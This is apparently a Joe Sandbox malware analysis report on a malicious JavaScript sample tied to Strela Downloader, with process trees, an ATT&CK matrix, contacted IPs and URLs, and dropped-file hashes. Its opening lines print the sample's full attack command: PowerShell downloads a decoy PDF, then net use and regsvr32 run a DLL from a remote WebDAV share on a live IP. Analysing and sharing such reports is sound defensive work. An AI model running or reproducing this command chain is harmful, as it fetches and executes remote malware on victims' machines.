Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1632322273251213172.js	5%	Virustotal		Browse
1632322273251213172.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/x	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/r	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/ds8$	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/x	net.exe, 00000006.00000002.1785919402.000001D6C0548000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://crl.ver)	svchost.exe, 00000008.00000002.3022607615.0000028DFD200000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
http://193.143.1.205:8888/ds8$	net.exe, 00000006.00000002.1786033177.000001D6C057C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1785538274.000001D6C057C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	edb.log.8.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000003.1781554837.000001D6C059C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1786033177.000001D6C057C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1785538274.000001D6C057C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1785919402.000001D6C0548000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/r	net.exe, 00000006.00000002.1785919402.000001D6C0548000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	qmgr.db.8.dr, edb.log.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588219
Start date and time:	2025-01-10 22:47:26 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 52s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1632322273251213172.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@2/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 2.16.168.107, 2.16.168.105, 54.224.241.105, 34.237.241.83, 18.213.11.84, 50.16.47.176, 162.159.61.3, 172.64.41.3, 2.23.242.162, 23.209.209.135, 20.12.23.50, 23.217.172.185, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
16:48:24	API Interceptor	24x Sleep call for process: powershell.exe modified
16:48:28	API Interceptor	1x Sleep call for process: net.exe modified
16:48:28	API Interceptor	2x Sleep call for process: svchost.exe modified
16:48:40	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	2305511452193571644.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	133313712272908537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1667730710460316051.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2609231882173488714.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11057252552282120022.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3039412363370818030.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	160370701202011504.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	206038195771531175.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	273371081152046820.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11267230832782128009.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	32489123841084027785.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2305511452193571644.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	boatnet.arm.elf	Get hash	malicious	Unknown	Browse	193.143.1.54
	133313712272908537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1667730710460316051.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2609231882173488714.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	23614810137024152.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	20394193042959831455.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11057252552282120022.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3039412363370818030.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.30736158248792
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvr/:KooCEYhgYEL0In
MD5:	3AD0482D5CEB53D5CDB624D5368D738E
SHA1:	4AAE50D545B19F113F129D65AA7F40B61790A045
SHA-256:	A33854379E2739827B53C41583FF2259A7B2BBE55F6CB104F86E925A3D20C746
SHA-512:	3CAE04B76CF5ADCDC801248F0E3A4723310DCF634E77E0C595BFAA0B540127EE62575DD2953A5EEB1A068EA3EA455361EE34F43318A32E3CF617F9953D9296DA
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xf070c942, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4221377314197656
Encrypted:	false
SSDEEP:	1536:BSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Baza/vMUM2Uvz7DO
MD5:	861A16298F0B5F14E3633F60BDEA36A9
SHA1:	A424A50EB5D89E0B76EC2A9A07CBCEB4729FF2C1
SHA-256:	1259E46357FE43DB06365330CE7DA8ECD11F533B22C0614AECD97EBEC949B780
SHA-512:	971101D3FFC6AC74D13A06C6608F1903C7AE17836B157120BE94EFB120ECFDF31DED27FA56398F0DC2650D37513EE170CD143EBCB6ADB5313B278D3B19B436A3
Malicious:	false
Preview:	.p.B... .......A.......X\...;...{......................0.!..........{A..0...}..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{...................................Oa..0...}..................B..N.0...}...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07694654765132056
Encrypted:	false
SSDEEP:	3:XI//lKYePaJfluhvejjn13a/phkYElllAllcVO/lnlZMxZNQl:XItKzPouGj53qMV/lAOewk
MD5:	B7151E78B91A32EE44C1390414645614
SHA1:	A1CA7D810285705BFCCA77BB3D046F25CB0B9328
SHA-256:	51D65B704432716A06B6E09D1D5A01A843C500BB2B6935CA580EA78C341FC2CC
SHA-512:	DB7FC587F68FCE1F4C660AA104E57642A899C79D69EFA7845B2ED23A81AB2D6072BB2B5794A0D0ACF7A34E1604C34D80F0D4342792BB4994695D2CDEE6BE4930
Malicious:	false
Preview:	q..L.....................................;...{...0...}.......{A..............{A......{A..........{A]................B..N.0...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.247812834158169
Encrypted:	false
SSDEEP:	6:iO4zdNq2Pwkn2nKuAl9OmbnIFUtSzdBjJZmwszdckwOwkn2nKuAl9OmbjLJ:7ivYfHAahFUtyjJ/x5JfHAaSJ
MD5:	F34A37D1FDD337A5883D79D6440A3A8E
SHA1:	A848DA5B9C8ECDE862D0F905CFC19D8BFD29121E
SHA-256:	D54A63DD5BBF08844341EF9C18D4C887A35E29FA010B12744AAA9D4F232D0548
SHA-512:	5E3238B819B57F1D3F73925556594E3AD1ABFEADBBE785E898CFD8136FDEC3B94E17866382E5B94DFD80BE8C2A76EFA0D2EA8F75AAA65A353E5DC49BB87F242F
Malicious:	false
Preview:	2025/01/10-16:48:28.054 970 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-16:48:28.057 970 Recovering log #3.2025/01/10-16:48:28.058 970 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.247812834158169
Encrypted:	false
SSDEEP:	6:iO4zdNq2Pwkn2nKuAl9OmbnIFUtSzdBjJZmwszdckwOwkn2nKuAl9OmbjLJ:7ivYfHAahFUtyjJ/x5JfHAaSJ
MD5:	F34A37D1FDD337A5883D79D6440A3A8E
SHA1:	A848DA5B9C8ECDE862D0F905CFC19D8BFD29121E
SHA-256:	D54A63DD5BBF08844341EF9C18D4C887A35E29FA010B12744AAA9D4F232D0548
SHA-512:	5E3238B819B57F1D3F73925556594E3AD1ABFEADBBE785E898CFD8136FDEC3B94E17866382E5B94DFD80BE8C2A76EFA0D2EA8F75AAA65A353E5DC49BB87F242F
Malicious:	false
Preview:	2025/01/10-16:48:28.054 970 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-16:48:28.057 970 Recovering log #3.2025/01/10-16:48:28.058 970 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.19228011843502
Encrypted:	false
SSDEEP:	6:iO4zd434q2Pwkn2nKuAl9Ombzo2jMGIFUtSzdTzJZmwszdTzDkwOwkn2nKuAl9OU:7QvYfHAa8uFUtO1/sn5JfHAa8RJ
MD5:	A3AED037D5584BDE4AF4B2687CF2AF14
SHA1:	6EB37277468CCF69609E8C2776C422822F2FAFD3
SHA-256:	0F6BF0C69507AD192EC341C9A9C33B969FD2D58DE1A3543DDF6B1108928E9B0D
SHA-512:	31307671FFDD29BC853175DBFEE6BD71D9C97F4433F60F3999A1776E0643620CC89F14A27753FA900462447B07E7F02191EA6E0A2154C7B5BE841BEB88C012E7
Malicious:	false
Preview:	2025/01/10-16:48:28.195 1c80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-16:48:28.196 1c80 Recovering log #3.2025/01/10-16:48:28.196 1c80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.19228011843502
Encrypted:	false
SSDEEP:	6:iO4zd434q2Pwkn2nKuAl9Ombzo2jMGIFUtSzdTzJZmwszdTzDkwOwkn2nKuAl9OU:7QvYfHAa8uFUtO1/sn5JfHAa8RJ
MD5:	A3AED037D5584BDE4AF4B2687CF2AF14
SHA1:	6EB37277468CCF69609E8C2776C422822F2FAFD3
SHA-256:	0F6BF0C69507AD192EC341C9A9C33B969FD2D58DE1A3543DDF6B1108928E9B0D
SHA-512:	31307671FFDD29BC853175DBFEE6BD71D9C97F4433F60F3999A1776E0643620CC89F14A27753FA900462447B07E7F02191EA6E0A2154C7B5BE841BEB88C012E7
Malicious:	false
Preview:	2025/01/10-16:48:28.195 1c80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-16:48:28.196 1c80 Recovering log #3.2025/01/10-16:48:28.196 1c80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\35f29d60-663c-4a2a-8251-46331af96857.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.972381811521054
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqSsBdOg2H+caq3QYiubInP7E4T3y:Y2sRds+dMHB3QYhbG7nby
MD5:	DA98CEBAC7B4B46169CB6A4FE2039CF1
SHA1:	EB67FF9D67979C7814C17BCBC3EACDF3581900D0
SHA-256:	5B54D98FBC6D345BB623E384C2DCD342024E274B9EADBD2B761593E1542D6EFB
SHA-512:	C4122F5176737AAFB02B730F58EC53950F0069F52C312C6B5314ECFBFEC26F0DEA0EAA76BD25DF0BA356B478EBA89B51793A4199A6BA8DA725D8D4DF3FF25887
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381105720174195","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":126746},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.972381811521054
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqSsBdOg2H+caq3QYiubInP7E4T3y:Y2sRds+dMHB3QYhbG7nby
MD5:	DA98CEBAC7B4B46169CB6A4FE2039CF1
SHA1:	EB67FF9D67979C7814C17BCBC3EACDF3581900D0
SHA-256:	5B54D98FBC6D345BB623E384C2DCD342024E274B9EADBD2B761593E1542D6EFB
SHA-512:	C4122F5176737AAFB02B730F58EC53950F0069F52C312C6B5314ECFBFEC26F0DEA0EAA76BD25DF0BA356B478EBA89B51793A4199A6BA8DA725D8D4DF3FF25887
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381105720174195","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":126746},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.254202619934579
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7SeZ2Cqo3:etJCV4FiN/jTN/2r8Mta02fEhgO73go5
MD5:	F05499E11D05E8B152343617213D712F
SHA1:	4802CE41A98586E837BC09A67A318BAA3292D571
SHA-256:	1EDE14B2DBEBE23899E616141CB7A08376B1FE3A51FE892B0C718575A0DF75F0
SHA-512:	211E037F3E6F6877CDF071DC7E7CA0229CFF5FA02AE77E9F03728E3C8A2B7637FE9327DE67985744414E8A01EF7293C43DEA435C5F4DC158A28261002AC9CB7A
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.181288174648174
Encrypted:	false
SSDEEP:	6:iO4zdxXN4q2Pwkn2nKuAl9OmbzNMxIFUtSzdy3JZmwszdlDkwOwkn2nKuAl9Ombg:7kevYfHAa8jFUth/+5JfHAa84J
MD5:	35CE16B37ED842460C8CDD6AFAE155F3
SHA1:	F56C439A0655E900E4A2EC0D6A4CD47AB9375807
SHA-256:	D7FF07A25B6277F5F3FD2D25F2C3018298DCD28E4F91C8346965384FA4DF4563
SHA-512:	CE90173B5E46F2B6CAA8EF8B4530EEC68E1FD862707DB72C759AEE096AB7B2353845C3684C47D2A87CE5264906CB962894FCB8A13AB86B83ED091C10EE98ED94
Malicious:	false
Preview:	2025/01/10-16:48:28.314 1c80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-16:48:28.315 1c80 Recovering log #3.2025/01/10-16:48:28.316 1c80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.181288174648174
Encrypted:	false
SSDEEP:	6:iO4zdxXN4q2Pwkn2nKuAl9OmbzNMxIFUtSzdy3JZmwszdlDkwOwkn2nKuAl9Ombg:7kevYfHAa8jFUth/+5JfHAa84J
MD5:	35CE16B37ED842460C8CDD6AFAE155F3
SHA1:	F56C439A0655E900E4A2EC0D6A4CD47AB9375807
SHA-256:	D7FF07A25B6277F5F3FD2D25F2C3018298DCD28E4F91C8346965384FA4DF4563
SHA-512:	CE90173B5E46F2B6CAA8EF8B4530EEC68E1FD862707DB72C759AEE096AB7B2353845C3684C47D2A87CE5264906CB962894FCB8A13AB86B83ED091C10EE98ED94
Malicious:	false
Preview:	2025/01/10-16:48:28.314 1c80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-16:48:28.315 1c80 Recovering log #3.2025/01/10-16:48:28.316 1c80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.44515558626463
Encrypted:	false
SSDEEP:	384:yezci5t+iBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:rRs3OazzU89UTTgUL
MD5:	D971CA6DB30E43BA2C7FB54F81BDFA38
SHA1:	8530D9873B5A79E27A98932093D4F04C91490C68
SHA-256:	B552ACAD1D5ACB256FBD10ABAB497A97B4C538B83CCC2F07C3241A7A2569361E
SHA-512:	9C78E4E3B01B8F42C274C0806BDF6750A297A9D67F2B19C390A09FFAC309B992866F478F3F03AB7AD4B89489C2730D47BF6B51841AF62D9C7F5E8ED4AAC50740
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.776834697563866
Encrypted:	false
SSDEEP:	48:7MVp/E2ioyV3ioy9oWoy1Cwoy1PKOioy1noy1AYoy1Wioy1hioybioyboy1noy11:7upju3FGXKQePb9IVXEBodRBkR
MD5:	75D65758001EAB59B8D590DEFA72EB0A
SHA1:	9CADD0178AA8DF9D22F9983B8028197F3A365F0A
SHA-256:	8F9432D8E277926E4C079083A226A4B7C6A2F285F1DC60724886ED9BADFB68D2
SHA-512:	C2214BB5FE321149DAB0BD51364D6D4F131F59A5873CB03A3AEE461F91E64FC99C533A01FDC5ED56FCF8959B4C65DE839DC45B94033212C3494A6749F2E5EC78
Malicious:	false
Preview:	.... .c.....=5.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
